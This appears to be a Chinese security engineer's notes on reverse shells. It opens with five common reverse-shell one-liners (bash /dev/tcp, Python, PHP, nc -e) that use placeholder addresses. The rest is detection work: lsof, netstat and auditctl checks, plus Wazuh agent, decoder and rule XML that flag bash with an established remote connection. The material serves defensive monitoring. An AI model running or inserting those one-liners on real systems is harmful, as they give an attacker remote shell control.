常见反弹:
bash -i >& /dev/tcp/ip/port 0>&1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
nc -e /bin/bash ip port
测试截图:
nc:
bash:
反弹原理:简单来说就是被控制端发起对控制端监听端口的请求,并将命令行的输入输出转到控制端,相当于我们常见的客户端及服务端角色反转。
参考:
https://www.freebuf.com/articles/system/187584.html
https://cloud.tencent.com/developer/article/1527568
https://xz.aliyun.com/t/2548 原理深入
https://www.cnblogs.com/ginvip/p/6350222.html文件标识符FD的解释
规则设计:如果bash进程有远程socket但是没有tty,那么就认定是一个反弹shell
1、检查/bin/bash进程(ps -ef|grep bash)
2、lsof -p $pid
3、遍历lsof结果
当TYPE中包含CHR且NAME中有(tty|pts|ptmx)
TYPE中包含'IP',并且该行包括关键字'ESTABLISHED',并获取控制端IP信息,正则匹配->和:之间的IP:(?<=->)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)
FD为'cwd',展示该行的NAME
wazuh配置
1、配置audit告警/bin/bash执行,agent端配置:
auditctl -w /bin/bash -p x -F key=audit-wazuh-c
2、wazuh告警
rule.id:80792
3、依据audit内容调整规则,但是wazuh是以日志为前提条件产生告警的,因此无法通过规则来触发执行,以下检测方式只能通过脚本执行:
exe="/bin/bash"+type=EXECVE+包含=“-i”
执行lsof -p $pid
判断TYPE中包含'IP',并且该行包括关键字'ESTABLISHED',并获取控制端IP信息,正则匹配->和:之间的IP:(?<=->)((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}(?=:)
4、通过端口以及进程来判断
客户端配置/bin/bash的监控:auditctl -w /bin/bash -p x -F key=audit-wazuh-c
配置执行命令:netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)' (rule.id=100005)
当10005和80792同时出现时,存在反弹shell,告警100006
agent.conf 编写:
<agent_config>
<wodle name="command">
<disabled>no</disabled>
<tag>reverse shell test</tag>
netstat -antlp | grep ESTABLISHED | egrep '/(bash|sh)'</command> #查看是否存在以bash或者sh为名的远程连接
<interval>5s</interval>
<ignore_output>no</ignore_output>
<run_on_start>yes</run_on_start>
<timeout>0</timeout>
</wodle>
</agent_config>
decoders.xml编写
<decoder name="check_reverse_shell">
<prematch>^tcp</prematch>
</decoder>
<decoder name="check_revsrse_shell_info">
<parent>check_reverse_shell</parent>
<regex offset="after_parent">\s*(\d+)\s*</regex> #wazuh上适用的regex不一样,需严格遵守官网https://documentation.wazuh.com/3.10/user-manual/ruleset/ruleset-xml-syntax/regex.html#os-regex-or-regex-syntax
<order>send_q</order>
</decoder>
<decoder name="check_revsrse_shell_info">
<parent>check_reverse_shell</parent>
<regex offset="after_regex">\s*(\d+\p\d+\p\d+\p\d+)</regex>
<order>srcip</order>
</decoder>
<decoder name="check_revsrse_shell_info">
<parent>check_reverse_shell</parent>
<regex offset="after_regex">\p(\d+)</regex>
<order>srcport</order>
</decoder>
<decoder name="check_revsrse_shell_info">
<parent>check_reverse_shell</parent>
<regex offset="after_regex">\s*(\d+\p\d+\p\d+\p\d+)</regex>
<order>dstip</order>
</decoder>
<decoder name="check_revsrse_shell_info">
<parent>check_reverse_shell</parent>
<regex offset="after_regex">\p(\d+)</regex>
<order>dstport</order>
</decoder>
rule.xml编写
<group name="attack,">
<rule id="100005" level="7"> #不能在此就和80792匹配,官网没有找到答案,在默认规则里也没有找到,猜测可能是因为该条规则通过日志解析以及level配置后是必定会告警,但是与if_sid的前提条件产生先有蛋还是先有鸡的冲突,因此需要在规则匹配产生告警后,才能进一步去关联
<decoded_as>check_reverse_shell</decoded_as>
<match>ESTABLISHED</match>
<regex>/bash|/sh</regex>
<description>bash|sh netstat information</description>
</rule>
<rule id="100006" level="12" timeframe="10" frequency="2">
<if_sid>100005</if_sid>
<if_matched_sid>80792</if_matched_sid>
<description>There could be reverse shell.Plz check.</description>
</rule>
</group>
告警展示